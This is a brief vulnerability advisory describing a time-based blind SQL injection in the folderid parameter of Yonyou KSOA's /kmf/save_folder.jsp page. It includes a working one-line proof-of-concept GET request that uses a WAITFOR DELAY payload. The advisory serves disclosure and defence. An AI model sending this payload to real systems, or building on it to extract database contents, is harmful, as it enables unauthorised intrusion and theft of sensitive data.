用友时空KSOA /kmf/save_folder.jsp SQL 注入漏洞

2026-03-09 用友时空KSOA PoC Public

Description

用友时空KSOA的/kmf/save_folder.jsp页面folderid参数存在SQL时间盲注漏洞，攻击者通过folderid参数注入恶意SQL语句，利用WAITFOR DELAY实现延时响应，可进一步获取数据库敏感信息，系统面临被篡改或敏感信息泄露的风险。

PoC

GET /kmf/save_folder.jsp?folderid=%27%3bWAITFOR+DELAY+%270%3a0%3a3%27-- HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://gobysec.net/updates# Yonyou KSOA /kmf/save_folder.jsp SQL Injection Vulnerability

References

Related Vulnerabilities